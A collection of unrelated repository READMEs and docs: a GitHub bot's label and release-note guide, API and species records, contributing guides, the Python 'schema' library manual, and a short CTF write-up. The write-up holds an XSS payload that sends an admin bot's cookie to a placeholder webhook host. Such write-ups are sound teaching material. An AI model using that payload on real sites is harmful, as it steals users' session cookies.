When this is running you can set your GitHub repo to send the webhooks for `Chewbacca`, this bot need only `issue_comments` and `pull_request` events for now.

Also is good to set, at least, those labels in your repo.

```YAML
labels:
- name: do-not-merge
  description: Should not be merged until this label is removed
  color: a32735
- name: do-not-merge/awaiting-PR
  description: ""
  color: a32735
- name: do-not-merge/release-note-label-needed
  description: ""
  color: e11d21
- name: do-not-merge/work-in-progress
  description: ""
  color: a32735
- name: do-not-merge/awaiting-submitter-action
  description: Blocked on the author
  color: e11d21
- name: kind/api-change
  description: Categorizes issue or PR as related to adding, removing, or otherwise
    changing an API
  color: e11d21
- name: kind/bug
  description: Categorizes issue or PR as related to a bug.
  color: e11d21
- name: kind/cleanup
  description: Categorizes issue or PR as related to cleaning up code, process, or
    technical debt.
  color: c7def8
- name: kind/deprecation
  description: Categorizes issue or PR as related to a feature/enhancement marked
    for deprecation.
  color: e11d21
- name: kind/design
  description: Categorizes issue or PR as related to design.
  color: c7def8
- name: kind/documentation
  description: Categorizes issue or PR as related to documentation.
  color: c7def8
- name: kind/feature
  description: Categorizes issue or PR as related to a new feature.
  color: c7def8
- name: kind/regression
  description: Categorizes issue or PR as related to a regression from a prior release.
  color: e11d21
- name: priority/critical-urgent
  description: Highest priority. Must be actively worked on as someone's top priority
    right now.
  color: e11d21
- name: priority/important-longterm
  description: Important over the long term, but may not be staffed and/or may need
    multiple releases to complete.
  color: eb6420
- name: priority/important-soon
  description: Must be staffed and worked on either currently, or very soon, ideally
    in time for the next release.
  color: eb6420
- name: release-note
  description: Denotes a PR that will be considered when it comes time to generate
    release notes.
  color: c2e0c6
- name: release-note-action-required
  description: Denotes a PR that introduces potentially breaking changes that require
    user action.
  color: c2e0c6
- name: release-note-none
  description: Denotes a PR that doesn't merit a release note.
  color: c2e0c6
```

To apply the labels in your repo you can edit manually or use a tool like https://github.com/cpanato/github-gitlab-labels

### Pull request template

Also is good to set a Pull request template to add the `release-note` section. For that in your repo add the folder `.github` and a file called `PULL_REQUEST_TEMPLATE.md`

We are using this template

```
    <!-- Thank you for contributing a pull request! Here are a few tips to help you:

    1. If this is your first contribution, make sure you've read the Contribution Checklist https://developers.mattermost.com/contribute/getting-started/contribution-checklist/
    2. Read our blog post about "Submitting Great PRs" https://developers.mattermost.com/blog/2019-01-24-submitting-great-prs
    3. Take a look at other repository specific documentation at https://developers.mattermost.com/contribute
    -->

    #### Summary
    <!--
    A description of what this pull request does.
    -->

    #### Ticket Link
    <!--
    If this pull request addresses a Help Wanted ticket, please link the relevant GitHub issue, e.g.

      Fixes https://github.com/mattermost/mattermost-server/issues/XXXXX

    Otherwise, link the JIRA ticket.
    -->

    #### Release Note
    <!--
    If no, just write "NONE" in the release-note block below.
    If yes, a release note is required:
    Enter your extended release note in the block below. If the PR requires additional action from users switching to the new release, include the string "action required".

    -->

    ```release-note

    ```
```

## Release Notes process

### Does my pull request need a release note?

Any user-visible or operator-visible change qualifies for a release note. This
could be a:

- CLI change
- API change
- UI change
- configuration schema change
- behavioral change
- change in non-functional attributes such as efficiency or availability,
  availability of a new platform
- a warning about a deprecation
- fix of a previous _Known Issue_
- fix of a vulnerability (CVE)

No release notes are required for changes to:

- tests
- build infrastructure
- fixes of bugs which have not been released

### Contents of a Release Note

A release note needs a clear, concise description of the change. This includes:

1. an indicator if the pull request _Added_, _Changed_, _Fixed_, _Removed_,
   _Deprecated_ functionality or changed enhancement/feature maturity (alpha,
   beta, stable/GA)
2. an indicator if there is user _Action required_
3. the name of the affected API or configuration fields, CLI commands/flags or
   enhancement/feature
4. a link to relevant user documentation about the enhancement/feature

### Applying a Release Note

To meet this requirement, do one of the following:
- Add notes in the release notes block, or
- Update the release note label

If you don't add release notes in the pull request template, the `do-not-merge/release-note-label-needed` label is added to your pull request automatically after you create it. There are a few ways to update it.

To add a release-note section to the pull request description:

For pull requests with a release note:

    ```release-note
    Your release note here
    ```

For pull requests that require additional action from users switching to the new release, include the string "action required" (case insensitive) in the release note:

    ```release-note
    action required: your release note here
    ```

For pull requests that don't need to be mentioned at release time, use the `/release-note-none` Chewbacca command to add the `release-note-none` label to the PR. You can also write the string "NONE" as a release note in your PR description:

    ```release-note
    NONE
    ```

### Reviewing Release Notes

Reviewing the release notes of a pull request should be a dedicated step in the
overall review process. It is necessary to rely on the same metrics as other
reviewers to be able to distinguish release notes which might need to be
rephrased.

As a guideline, a release notes entry needs to be rephrased if one of the
following cases apply:

- The release note does not communicate the full purpose of the change.
- The release note has no impact on any user.
- The release note is grammatically incorrect.

In any other case the release note should be fine.

*note: this was copy and adapt from [kubernetes/community](https://github.com/kubernetes/community/edit/master/contributors/guide/release-notes.md)*


text:
# OBWritePaymentDetailsResponse1DataStatusDetail

## Properties
Name | Type | Description | Notes
------------ | ------------- | ------------- | -------------
**localInstrument** | **String** |  |  [optional]
**status** | **String** | Status of a transfer, as assigned by the transaction administrator. |
**statusReason** | [**StatusReasonEnum**](#StatusReasonEnum) | Reason Code provided for the status of a transfer. |  [optional]
**statusReasonDescription** | **String** | Reason provided for the status of a transfer. |  [optional]

## Enum: StatusReasonEnum
Name | Value
---- | -----
CANCELLED | "Cancelled"
PENDINGFAILINGSETTLEMENT | "PendingFailingSettlement"
PENDINGSETTLEMENT | "PendingSettlement"
PROPRIETARY | "Proprietary"
PROPRIETARYREJECTION | "ProprietaryRejection"
SUSPENDED | "Suspended"
UNMATCHED | "Unmatched"

repository: thlaegler/openbanking

branch_name: refs/heads/develop

repo_name: thlaegler/openbanking


text:
# Encephalartos turneri Lavranos & D.L. Goode SPECIES

#### Status
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Garcia de Orta, Ser. Bot. 7:11. 1988

#### Original name
null

### Remarks
null

repository: mdoering/backbone

repo_name: mdoering/backbone


text:
# How to contribute

If you like ![Open Source Love](https://badges.frapsoft.com/os/v3/open-source.svg?v=103) projects and would like to give back some help, we'd like to see your contributions!

It doesn't matter how familiar you are with test automation applications, or whether you know how to write programs for Java. There are plenty of ways to be helpful! One of the first things you should do is actually use Toast TK, and get to know it - read about it, evangelise it, and engage with the wider community.

If you'd like to help, get in touch and let us know how you'd like to help. We love contributors!!

Here are the guidelines we would like you to follow:

 - [Issues and Bugs](#issue)
 - [Feature Requests](#feature)
 - [Contribution Guidelines](#contribute)
 - [Commit Message Guidelines](#commit)

##  Reporting bugs

### Before submitting a bug report

- Search [open issues](https://github.com/toast-tk/toast-tk-engine/issues) to see if the problem has already been reported. If it has, add a comment to the existing issue instead of opening a new one.
- You can also tell us about your problem on [Gitter](https://gitter.im/toast-tk/toast-tk-engine).

### How to submit a bug report?

Bugs are tracked as GitHub issues. [Create an issue](https://github.com/toast-tk/toast-tk-engine/issues/new) on toast-tk-engine project and provide the following information.

Explain the problem and include additional details to help maintainers reproduce the problem:

Use a clear and descriptive title for the issue to identify the problem.
Describe the exact steps which reproduce the problem in as many details as possible.
Provide specific examples to demonstrate the steps.

##  Suggesting enhancements

You can request a new feature by submitting an issue to our GitHub Repository.

If you would like to implement a new feature then consider what kind of change it is:
- Major Changes that you wish to contribute to the project should be discussed first on Gitter https://gitter.im/toast-tk/toast-tk-engine so that we can better coordinate our efforts, prevent duplication of work, and help you to craft the change so that it is successfully accepted into the project.
- Small Changes can be crafted and submitted to the GitHub Repository as a Pull Request.

### Submit an issue

Before you submit your issue search the archive, maybe your question was already answered.

##  Contribute to code

### Getting Started

If you want to contribute but do not know where to start, filter issues with the label `up-for-grabs`. These issues are easy enough to do for someone discovering the project.

### Working on an issue

- Assign yourself to the issue.
- Create a branch from the branch `snapshot` starting by the number of the issue, followed by a few words that describe the issue. For instance `77-scenario-replay`.
- When the development is finished, create a merge request from your branch to the branch `snapshots`

##  Commit Message Guidelines

We have very precise rules over how our git commit messages can be formatted.  This leads to **more
readable messages** that are easy to follow when looking through the **project history**.  But also,
we use the git commit messages to **generate the application change log**.

### Commit Message Format
Each commit message consists of a **header**, a **body** and a **footer**.  The header has a special
format that includes a **type**, a **scope** and a **subject**:

```
<type>(<scope>): <subject>
<BLANK LINE>
<body>
<BLANK LINE>
<footer>
```

The **header** is mandatory and the **scope** of the header is optional.

Any line of the commit message cannot be longer 100 characters! This allows the message to be easier
to read on GitHub as well as in various git tools.

Footer should contain a [closing reference to an issue](https://help.github.com/articles/closing-issues-via-commit-messages/) if any.

Samples: (even more [samples](https://github.com/angular/angular/commits/master))

```
docs(changelog): update change log to beta.5
```
```
fix(release): need to depend on latest rxjs and zone.js

The version in our package.json gets copied to the one we publish, and users need the latest of these.
```

### Revert
If the commit reverts a previous commit, it should begin with `revert: `, followed by the header of the reverted commit. In the body it should say: `This reverts commit <hash>.`, where the hash is the SHA of the commit being reverted.

### Type
Must be one of the following:

* **feat**: A new feature
* **fix**: A bug fix
* **docs**: Documentation only changes
* **style**: Changes that do not affect the meaning of the code (white-space, formatting, missing
  semi-colons, etc)
* **refactor**: A code change that neither fixes a bug nor adds a feature
* **perf**: A code change that improves performance
* **test**: Adding missing tests or correcting existing tests
* **build**: Changes that affect the build system or external dependencies (example scopes: gulp, broccoli, npm)
* **ci**: Changes to our CI configuration files and scripts (example scopes: Travis, Circle, BrowserStack, SauceLabs)
* **chore**: Other changes that don't modify `src` or `test` files

### Scope
The scope could be anything specifying place of the commit change. For example
`Compiler`, `ElementInjector`, etc.

### Subject
The subject contains succinct description of the change:

* use the imperative, present tense: "change" not "changed" nor "changes"
* don't capitalize first letter
* no dot (.) at the end

### Body
Just as in the **subject**, use the imperative, present tense: "change" not "changed" nor "changes".
The body should include the motivation for the change and contrast this with previous behavior.

### Footer
The footer should contain any information about **Breaking Changes** and is also the place to
reference GitHub issues that this commit **Closes**.

**Breaking Changes** should start with the word `BREAKING CHANGE:` with a space or two newlines. The rest of the commit message is then used for this.

A detailed explanation can be found in this [document][commit-message-format].

repository: toast-tk/toast-tk-engine

branch_name: refs/heads/snapshot

gha_language: Java

gha_license_id: NOASSERTION

repo_name: toast-tk/toast-tk-engine


text:
# commander-options

> Accompanying sample program for the [Commander options hands-on](https://tsmx.net/commander-options/).

The intention of this project is to get familiar with all features of the option features available in [Commander](https://www.npmjs.com/package/commander).

## Using the program

Simply start the program including the desired arguments for the options by executing `app.js`. The output will show you if the program or a sub-command was executed and what are the options values passed to your code by logging out the corresponding JSON objects. Like so...

```bash
$ node app.js -r test123 -b
program executed
program options:
{
  "default": "standardValue",
  "booldefault": false,
  "boolvariant": false,
  "concat": "",
  "required": "test123",
  "bool": true
}
```

For a comprehensive documentation of all available features to try out with the program, please refer to the [hands-on article](https://tsmx.net/commander-options/).

## Directly calling app.js

The main file `app.js` contains a shebang so that the program can be executed directly if it has sufficient rights.

```bash
$ chmod ug+x app.js
$ ./app.js ...
```

repository: tludlow/commander-options

repo_name: tludlow/commander-options


text:
---
path: '/issues/2020/jan/43'
published: true
date: '2020-01-23'
title: 'Issue #43'
contentTitle: 'How can progressive web technologies improve user experience, Implementing a simple state machine library in JavaScript and Build better design systems...'
---

                How can progressive web technologies improve user experience?

Enhancing your mobile web experience with progressive technologies and whether that’s the right solution for you.

uxdesign.cc Oluwatobi Akindunjoye

                Implementing a simple state machine library in JavaScript

If you're like me, the first time you heard the words "state machine" you were a little intrigued and as you dove in deeper, you were more confused than when you started.

kentcdodds.com Kent C Dodds

                Build better design systems

An open-source checklist to help you plan, build and grow your design system.

designsystemchecklist.com Design Checklist Team

                Brave 1.0 Performance: Methodology and Results

As ever, web browsing performance is a key priority for Brave, so we set out to evaluate in detail how it stacks up against the competition and devised a methodology for doing so.

brave.com Brave Team

repository: code-kotis/this-week-in-web

repo_name: code-kotis/this-week-in-web


text:
Helsinki Hacklab Registration Tool
==================================

Since it seems too hard to actually go through available things and setup a registration tool for Helsinki Hacklab,
we'll create new one instead. Idea behind this is that we are going to do it (very small) step by step. By keeping
individual steps very small, progressing the effort is made as easy as possible. Hopefully thus enabling participation.

Development model
-----------------
I got idea for this when reading [Test-Driven Web Development with Python](http://chimera.labs.oreilly.com/books/1234000000754/).
I combined its way to develop tests with idea I've been using in [Agile-Tools](https://github.com/jautero/Agile-Tools)
where I list requirements in `README.mdown`.

Model is that people write on this file short description of a feature they want on this file. Anyone can pick one of
those descriptions and start writing **functional test** for it. She (In this document "she" is used as gender-neutral
pronoun meaning "he or she" because sometimes it's good to look at things from different point-of-view.) can write as
large or small part of the test as she likes, but usually the amount should be as small as possible.

When there is enough **functional test** to test code, anyone can start developing code with **TDD** writing **unit
tests**. The idea of this model is that it is easy to do something when that *something* is as little as possible. This
also enables participation because all you need to know is in [this
repository](https://github.com/HelsinkiHacklab/registration-tool). This also also conflict resolution method. **Code
only exists when it has been pulled into HelsinkiHacklab repository.** Everyone is free to pick any tool or framework as
need arises. Pull requests are good place to have arguments about right amount of spaces or correct JavaScript framework.

Requirements
============

Registration
------------
As a user I want to provide my email address in order to register to the course.

repository: jautero/registration-tool

repo_name: jautero/registration-tool


text:
### Chall Desc
I've made a little website to access a SQL database. I even added a way to share your queries with other people! Just copy the link.
Hint1: The contents of the database will give you some info on what to do next.
Hint2: You can only change the query; can you inject arbitrary HTML with it?

## Analyzing the website

We are given a query input field where we can input sql statements.We can `sqlite_master` table to get the structure of the database and the tables.

![sql schema](https://github.com/ckc1404/CTF_writeups/blob/main/BCACTF/WEB/Query%20Service/schema.png)

We see a notes table and we try seeing the contents of it as well.

![notes table](https://github.com/ckc1404/CTF_writeups/blob/main/BCACTF/WEB/Query%20Service/notes.png)

It gives us a link to a admin bot which has the flag as the cookie and this seems like a XSS challenge now.

We can inject html into the field using the below command

Command --> `select "<img src=x onerror=this.src='https://webhook_url/?cookie='+document.cookie;>"`

Giving the link of the submitted page to the admin bot gives us requests in the webhook page which we have opened.

![admin bot](https://github.com/ckc1404/CTF_writeups/blob/main/BCACTF/WEB/Query%20Service/admin_bot.png)

We get the flag the cookie section in the webhook request.

![flag_output](https://github.com/ckc1404/CTF_writeups/blob/main/BCACTF/WEB/Query%20Service/flag.png)

Thank you

path: /Query Service/readme.md

gha_language: PHP


text:
Schema validation just got Pythonic
===============================================================================

**schema** is a library for validating Python data structures, such as those
obtained from config-files, forms, external services or command-line
parsing, converted from JSON/YAML (or something else) to Python data-types.

.. image:: https://secure.travis-ci.org/keleshev/schema.svg?branch=master
    :target: https://travis-ci.org/keleshev/schema

.. image:: https://img.shields.io/codecov/c/github/keleshev/schema.svg
    :target: http://codecov.io/github/keleshev/schema

Example
----------------------------------------------------------------------------

Here is a quick example to get a feeling of **schema**, validating a list of
entries with personal information:

.. code:: python

    >>> from schema import Schema, And, Use, Optional

    >>> schema = Schema([{'name': And(str, len),
    ...                   'age':  And(Use(int), lambda n: 18 <= n <= 99),
    ...                   Optional('gender'): And(str, Use(str.lower),
    ...                                           lambda s: s in ('squid', 'kid'))}])

    >>> data = [{'name': 'Sue', 'age': '28', 'gender': 'Squid'},
    ...         {'name': 'Sam', 'age': '42'},
    ...         {'name': 'Sacha', 'age': '20', 'gender': 'KID'}]

    >>> validated = schema.validate(data)

    >>> assert validated == [{'name': 'Sue', 'age': 28, 'gender': 'squid'},
    ...                      {'name': 'Sam', 'age': 42},
    ...                      {'name': 'Sacha', 'age' : 20, 'gender': 'kid'}]

If data is valid, ``Schema.validate`` will return the validated data
(optionally converted with `Use` calls, see below).

If data is invalid, ``Schema`` will raise ``SchemaError`` exception.
If you just want to check that the data is valid, ``schema.is_valid(data)`` will
return ``True`` or ``False``.

Installation
-------------------------------------------------------------------------------

Use `pip <http://pip-installer.org>`_ or easy_install::

    pip install schema

Alternatively, you can just drop ``schema.py`` file into your project—it is
self-contained.

- **schema** is tested with Python 2.6, 2.7, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7 and PyPy.
- **schema** follows `semantic versioning <http://semver.org>`_.

How ``Schema`` validates data
-------------------------------------------------------------------------------

Types
~~~~~

If ``Schema(...)`` encounters a type (such as ``int``, ``str``, ``object``,
etc.), it will check if the corresponding piece of data is an instance of that type,
otherwise it will raise ``SchemaError``.

.. code:: python

    >>> from schema import Schema

    >>> Schema(int).validate(123)
    123

    >>> Schema(int).validate('123')
    Traceback (most recent call last):
    ...
    SchemaUnexpectedTypeError: '123' should be instance of 'int'

    >>> Schema(object).validate('hai')
    'hai'

Callables
~~~~~~~~~

If ``Schema(...)`` encounters a callable (function, class, or object with
``__call__`` method) it will call it, and if its return value evaluates to
``True`` it will continue validating, else—it will raise ``SchemaError``.

.. code:: python

    >>> import os

    >>> Schema(os.path.exists).validate('./')
    './'

    >>> Schema(os.path.exists).validate('./non-existent/')
    Traceback (most recent call last):
    ...
    SchemaError: exists('./non-existent/') should evaluate to True

    >>> Schema(lambda n: n > 0).validate(123)
    123

    >>> Schema(lambda n: n > 0).validate(-12)
    Traceback (most recent call last):
    ...
    SchemaError: <lambda>(-12) should evaluate to True

"Validatables"
~~~~~~~~~~~~~~

If ``Schema(...)`` encounters an object with method ``validate`` it will run
this method on corresponding data as ``data = obj.validate(data)``. This method
may raise ``SchemaError`` exception, which will tell ``Schema`` that that piece
of data is invalid, otherwise—it will continue validating.

An example of "validatable" is ``Regex``, that tries to match a string or a
buffer with the given regular expression (itself as a string, buffer or
compiled regex ``SRE_Pattern``):

.. code:: python

    >>> from schema import Regex
    >>> import re

    >>> Regex(r'^foo').validate('foobar')
    'foobar'

    >>> Regex(r'^[A-Z]+$', flags=re.I).validate('those-dashes-dont-match')
    Traceback (most recent call last):
    ...
    SchemaError: Regex('^[A-Z]+$', flags=re.IGNORECASE) does not match 'those-dashes-dont-match'

For a more general case, you can use ``Use`` for creating such objects.
``Use`` helps to use a function or type to convert a value while validating it:

.. code:: python

    >>> from schema import Use

    >>> Schema(Use(int)).validate('123')
    123

    >>> Schema(Use(lambda f: open(f, 'a'))).validate('LICENSE-MIT')
    <open file 'LICENSE-MIT', mode 'a' at 0x...>

Dropping the details, ``Use`` is basically:

.. code:: python

    class Use(object):

        def __init__(self, callable_):
            self._callable = callable_

        def validate(self, data):
            try:
                return self._callable(data)
            except Exception as e:
                raise SchemaError('%r raised %r' % (self._callable.__name__, e))

Sometimes you need to transform and validate part of data, but keep original data unchanged.
``Const`` helps to keep your data safe:

.. code:: python

    >> from schema import Use, Const, And, Schema

    >> from datetime import datetime

    >> is_future = lambda date: datetime.now() > date

    >> to_json = lambda v: {"timestamp": v}

    >> Schema(And(Const(And(Use(datetime.fromtimestamp), is_future)), Use(to_json))).validate(1234567890)
    {"timestamp":<PHONE_NUMBER>}

Now you can write your own validation-aware classes and data types.

Lists, similar containers
~~~~~~~~~~~~~~~~~~~~~~~~~

If ``Schema(...)`` encounters an instance of ``list``, ``tuple``, ``set`` or
``frozenset``, it will validate contents of corresponding data container
against schemas listed inside that container:

.. code:: python

    >>> Schema([1, 0]).validate([1, 1, 0, 1])
    [1, 1, 0, 1]

    >>> Schema((int, float)).validate((5, 7, 8, 'not int or float here'))
    Traceback (most recent call last):
    ...
    SchemaError: Or(<type 'int'>, <type 'float'>) did not validate 'not int or float here'
    'not int or float here' should be instance of 'float'

Dictionaries
~~~~~~~~~~~~

If ``Schema(...)`` encounters an instance of ``dict``, it will validate data
key-value pairs:

.. code:: python

    >>> d = Schema({'name': str,
    ...             'age': lambda n: 18 <= n <= 99}).validate({'name': 'Sue', 'age': 28})

    >>> assert d == {'name': 'Sue', 'age': 28}

You can specify keys as schemas too:

.. code:: python

    >>> schema = Schema({str: int,  # string keys should have integer values
    ...                  int: None})  # int keys should be always None

    >>> data = schema.validate({'key1': 1, 'key2': 2,
    ...                         10: None, 20: None})

    >>> schema.validate({'key1': 1,
    ...                   10: 'not None here'})
    Traceback (most recent call last):
    ...
    SchemaError: Key '10' error:
    None does not match 'not None here'

This is useful if you want to check certain key-values, but don't care
about others:

.. code:: python

    >>> schema = Schema({'<id>': int,
    ...                  '<file>': Use(open),
    ...                  str: object})  # don't care about other str keys

    >>> data = schema.validate({'<id>': 10,
    ...                         '<file>': 'README.rst',
    ...                         '--verbose': True})

You can mark a key as optional as follows:

.. code:: python

    >>> from schema import Optional
    >>> Schema({'name': str,
    ...         Optional('occupation'): str}).validate({'name': 'Sam'})
    {'name': 'Sam'}

``Optional`` keys can also carry a ``default``, to be used when no key in the
data matches:

.. code:: python

    >>> from schema import Optional
    >>> Schema({Optional('color', default='blue'): str,
    ...         str: str}).validate({'texture': 'furry'}
    ...       ) == {'color': 'blue', 'texture': 'furry'}
    True

Defaults are used verbatim, not passed through any validators specified in the
value.

default can also be a callable:

.. code:: python

    >>> from schema import Schema, Optional
    >>> Schema({Optional('data', default=dict): {}}).validate({}) == {'data': {}}
    True

Also, a caveat: If you specify types, **schema** won't validate the empty dict:

.. code:: python

    >>> Schema({int:int}).is_valid({})
    False

To do that, you need ``Schema(Or({int:int}, {}))``. This is unlike what happens with
lists, where ``Schema([int]).is_valid([])`` will return True.

**schema** has classes ``And`` and ``Or`` that help validating several schemas
for the same data:

.. code:: python

    >>> from schema import And, Or

    >>> Schema({'age': And(int, lambda n: 0 < n < 99)}).validate({'age': 7})
    {'age': 7}

    >>> Schema({'password': And(str, lambda s: len(s) > 6)}).validate({'password': 'hai'})
    Traceback (most recent call last):
    ...
    SchemaError: Key 'password' error:
    <lambda>('hai') should evaluate to True

    >>> Schema(And(Or(int, float), lambda x: x > 0)).validate(3.1415)
    3.1415

In a dictionary, you can also combine two keys in a "one or the other" manner. To do
so, use the `Or` class as a key:

.. code:: python

    >>> from schema import Or, Schema
    >>> schema = Schema({
    ...    Or("key1", "key2", only_one=True): str
    ... })

    >>> schema.validate({"key1": "test"}) # Ok
    {'key1': 'test'}

    >>> schema.validate({"key1": "test", "key2": "test"}) # SchemaError
    Traceback (most recent call last):
    ...
    SchemaOnlyOneAllowedError: There are multiple keys present from the Or('key1', 'key2') condition

Hooks
~~~~~~~~~~
You can define hooks which are functions that are executed whenever a valid key:value is found.
The `Forbidden` class is an example of this.

You can mark a key as forbidden as follows:

.. code:: python

    >>> from schema import Forbidden
    >>> Schema({Forbidden('age'): object}).validate({'age': 50})
    Traceback (most recent call last):
    ...
    SchemaForbiddenKeyError: Forbidden key encountered: 'age' in {'age': 50}

A few things are worth noting. First, the value paired with the forbidden
key determines whether it will be rejected:

.. code:: python

    >>> Schema({Forbidden('age'): str, 'age': int}).validate({'age': 50})
    {'age': 50}

Note: if we hadn't supplied the 'age' key here, the call would have failed too, but with
SchemaWrongKeyError, not SchemaForbiddenKeyError.

Second, Forbidden has a higher priority than standard keys, and consequently than Optional.
This means we can do that:

.. code:: python

    >>> Schema({Forbidden('age'): object, Optional(str): object}).validate({'age': 50})
    Traceback (most recent call last):
    ...
    SchemaForbiddenKeyError: Forbidden key encountered: 'age' in {'age': 50}

You can also define your own hooks. The following hook will call `_my_function` if `key` is encountered.

.. code:: python

    from schema import Hook
    def _my_function(key, scope, error):
        print(key, scope, error)

    Hook("key", handler=_my_function)

Here's an example where a `Deprecated` class is added to log warnings whenever a key is encountered:

.. code:: python

    from schema import Hook, Schema
    class Deprecated(Hook):
        def __init__(self, *args, **kwargs):
            kwargs["handler"] = lambda key, *args: logging.warn(f"`{key}` is deprecated. " + (self._error or ""))
            super(Deprecated, self).__init__(*args, **kwargs)

    Schema({Deprecated("test", "custom error message."): object}, ignore_extra_keys=True).validate({"test": "value"})
    ...
    WARNING: `test` is deprecated. custom error message.

Extra Keys
~~~~~~~~~~

The ``Schema(...)`` parameter ``ignore_extra_keys`` causes validation to ignore extra keys in a dictionary, and also to not return them after validating.

.. code:: python

    >>> schema = Schema({'name': str}, ignore_extra_keys=True)
    >>> schema.validate({'name': 'Sam', 'age': '42'})
    {'name': 'Sam'}

If you would like any extra keys returned, use ``object: object`` as one of the key/value pairs, which will match any key and any value.
Otherwise, extra keys will raise a ``SchemaError``.

User-friendly error reporting
-------------------------------------------------------------------------------

You can pass a keyword argument ``error`` to any of validatable classes
(such as ``Schema``, ``And``, ``Or``, ``Regex``, ``Use``) to report this error
instead of a built-in one.

.. code:: python

    >>> Schema(Use(int, error='Invalid year')).validate('XVII')
    Traceback (most recent call last):
    ...
    SchemaError: Invalid year

You can see all errors that occurred by accessing exception's ``exc.autos``
for auto-generated error messages, and ``exc.errors`` for errors
which had ``error`` text passed to them.

You can exit with ``sys.exit(exc.code)`` if you want to show the messages
to the user without traceback. ``error`` messages are given precedence in that
case.

A JSON API example
-------------------------------------------------------------------------------

Here is a quick example: validation of
`create a gist <http://developer.github.com/v3/gists/>`_
request from github API.

.. code:: python

    >>> gist = '''{"description": "the description for this gist",
    ...            "public": true,
    ...            "files": {
    ...                "file1.txt": {"content": "String file contents"},
    ...                "other.txt": {"content": "Another file contents"}}}'''

    >>> from schema import Schema, And, Use, Optional

    >>> import json

    >>> gist_schema = Schema(And(Use(json.loads),  # first convert from JSON
    ...                          # use basestring since json returns unicode
    ...                          {Optional('description'): basestring,
    ...                           'public': bool,
    ...                           'files': {basestring: {'content': basestring}}}))

    >>> gist = gist_schema.validate(gist)

    # gist:
    {u'description': u'the description for this gist',
     u'files': {u'file1.txt': {u'content': u'String file contents'},
                u'other.txt': {u'content': u'Another file contents'}},
     u'public': True}

Using **schema** with `docopt <http://github.com/docopt/docopt>`_
-------------------------------------------------------------------------------

Assume you are using **docopt** with the following usage-pattern:

    Usage: my_program.py [--count=N] <path> <files>...

and you would like to validate that ``<files>`` are readable, and that
``<path>`` exists, and that ``--count`` is either integer from 0 to 5, or
``None``.

Assuming **docopt** returns the following dict:

.. code:: python

    >>> args = {'<files>': ['LICENSE-MIT', 'setup.py'],
    ...         '<path>': '../',
    ...         '--count': '3'}

this is how you validate it using ``schema``:

.. code:: python

    >>> from schema import Schema, And, Or, Use
    >>> import os

    >>> s = Schema({'<files>': [Use(open)],
    ...             '<path>': os.path.exists,
    ...             '--count': Or(None, And(Use(int), lambda n: 0 < n < 5))})

    >>> args = s.validate(args)

    >>> args['<files>']
    [<open file 'LICENSE-MIT', mode 'r' at 0x...>, <open file 'setup.py', mode 'r' at 0x...>]

    >>> args['<path>']
    '../'

    >>> args['--count']
    3

As you can see, **schema** validated data successfully, opened files and
converted ``'3'`` to ``int``.

JSON schema
-----------

You can also generate standard `draft-07 JSON schema <https://json-schema.org/>`_ from a dict ``Schema``.
This can be used to add word completion, validation, and documentation directly in code editors.
The output schema can also be used with JSON schema compatible libraries.

JSON: Generating
~~~~~~~~~~~~~~~~

Just define your schema normally and call ``.json_schema()`` on it. The output is a Python dict, you need to dump it to JSON.

.. code:: python

    >>> from schema import Optional, Schema
    >>> import json
    >>> s = Schema({"test": str,
    ...             "nested": {Optional("other"): str}
    ...             })
    >>> json_schema = json.dumps(s.json_schema("https://example.com/my-schema.json"))

    # json_schema
    {
        "type":"object",
        "properties": {
            "test": {"type": "string"},
            "nested": {
                "type":"object",
                "properties": {
                    "other": {"type": "string"}
                },
                "required": [],
                "additionalProperties": false
            }
        },
        "required":[
            "test",
            "nested"
        ],
        "additionalProperties":false,
        "$id":"https://example.com/my-schema.json",
        "$schema":"http://json-schema.org/draft-07/schema#"
    }

You can add descriptions for the schema elements using the ``Literal`` object instead of a string. The main schema can also have a description.

These will appear in IDEs to help your users write a configuration.

.. code:: python

    >>> from schema import Literal, Schema
    >>> import json
    >>> s = Schema({Literal("project_name", description="Names must be unique"): str}, description="Project schema")
    >>> json_schema = json.dumps(s.json_schema("https://example.com/my-schema.json"), indent=4)

    # json_schema
    {
        "type": "object",
        "properties": {
            "project_name": {
                "description": "Names must be unique",
                "type": "string"
            }
        },
        "required": [
            "project_name"
        ],
        "additionalProperties": false,
        "$id": "https://example.com/my-schema.json",
        "$schema": "http://json-schema.org/draft-07/schema#",
        "description": "Project schema"
    }

JSON: Supported validations
~~~~~~~~~~~~~~~~~~~~~~~~~~~

The main schema must be a dict. i.e. ``Schema({"test": str})`` works but ``Schema(str)`` does not.
The following examples will assume the main schema is a dict.

The resulting JSON schema is not guaranteed to accept the same objects as the library would accept, since some validations are not implemented or
have no JSON schema equivalent. This is the case of the ``Use`` and ``Hook`` objects for example.

Implemented
'''''''''''

`Object properties <https://json-schema.org/understanding-json-schema/reference/object.html#properties>`_
    Use a dict literal. The dict keys are the JSON schema properties.

    Example:

    ``Schema({"test": str})``

    becomes

    ``{'type': 'object', 'properties': {'test': {'type': 'string'}}, 'required': ['test'], 'additionalProperties': False}``.

    Please note that attributes are required by default. To create optional attributes use ``Optional``, like so:

    ``Schema({Optional("test"): str})``

    becomes

    ``{'type': 'object', 'properties': {'test': {'type': 'string'}}, 'required': [], 'additionalProperties': False}``

Types
    Use the Python type name directly. It will be converted to the JSON name:

    - ``str`` -> `string <https://json-schema.org/understanding-json-schema/reference/string.html>`_
    - ``int`` -> `integer <https://json-schema.org/understanding-json-schema/reference/numeric.html#integer>`_
    - ``float`` -> `number <https://json-schema.org/understanding-json-schema/reference/numeric.html#number>`_
    - ``bool`` -> `boolean <https://json-schema.org/understanding-json-schema/reference/boolean.html>`_
    - ``list`` -> `array <https://json-schema.org/understanding-json-schema/reference/array.html>`_
    - ``dict`` -> `object <https://json-schema.org/understanding-json-schema/reference/object.html>`_

    Example:

    ``Schema(float)``

    becomes

    ``{"type": "number"}``

`Array items <https://json-schema.org/understanding-json-schema/reference/array.html#items>`_
    Surround a schema with ``[]``.

    Example:

    ``Schema([str])`` means an array of string and becomes:

    ``{'type': 'array', 'items': {'type': 'string'}}``

`Enumerated values <https://json-schema.org/understanding-json-schema/reference/generic.html#enumerated-values>`_
    List the accepted values.

    Example:

    ``Schema([1, 2, 3])`` becomes

    ``{"enum": [1, 2, 3]}``

`Constant values <https://json-schema.org/understanding-json-schema/reference/generic.html#constant-values>`_
    Use the value itself.

    Example:

    ``Schema("name")`` becomes

    ``{"const": "name"}``

